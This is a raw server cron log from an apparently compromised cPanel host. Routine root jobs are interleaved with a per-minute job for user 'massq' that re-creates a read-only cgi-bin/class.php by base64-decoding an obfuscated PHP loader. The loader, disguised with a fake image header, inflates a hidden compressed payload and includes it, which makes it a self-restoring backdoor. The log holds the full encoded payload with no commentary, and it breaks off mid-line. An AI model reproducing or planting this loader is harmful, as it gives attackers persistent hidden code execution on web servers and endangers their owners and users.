Apr 11 17:50:01 server CROND[27285]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 17:50:01 server CROND[27287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:50:01 server CROND[27290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 17:50:01 server CROND[27291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:50:01 server CROND[27289]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:51:01 server CROND[27393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:52:01 server CROND[27448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:53:01 server CROND[27495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:54:01 server CROND[27632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:55:01 server CROND[27696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:55:01 server CROND[27697]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:55:01 server CROND[27698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:56:01 server CROND[27806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:57:01 server CROND[27856]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 17:57:01 server CROND[27857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:58:01 server CROND[27900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:59:01 server CROND[27950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:00:01 server CROND[28096]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 18:00:01 server CROND[28097]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 11 18:00:01 server CROND[28098]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 18:00:01 server CROND[28101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 18:00:01 server CROND[28102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:01:01 server CROND[28220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:01:01 server CROND[28221]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 18:01:01 server run-parts(/etc/cron.hourly)[28221]: starting 0anacron
Apr 11 18:01:01 server run-parts(/etc/cron.hourly)[28233]: finished 0anacron
Apr 11 18:02:01 server CROND[28280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 18:03:01 server CROND[28333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMR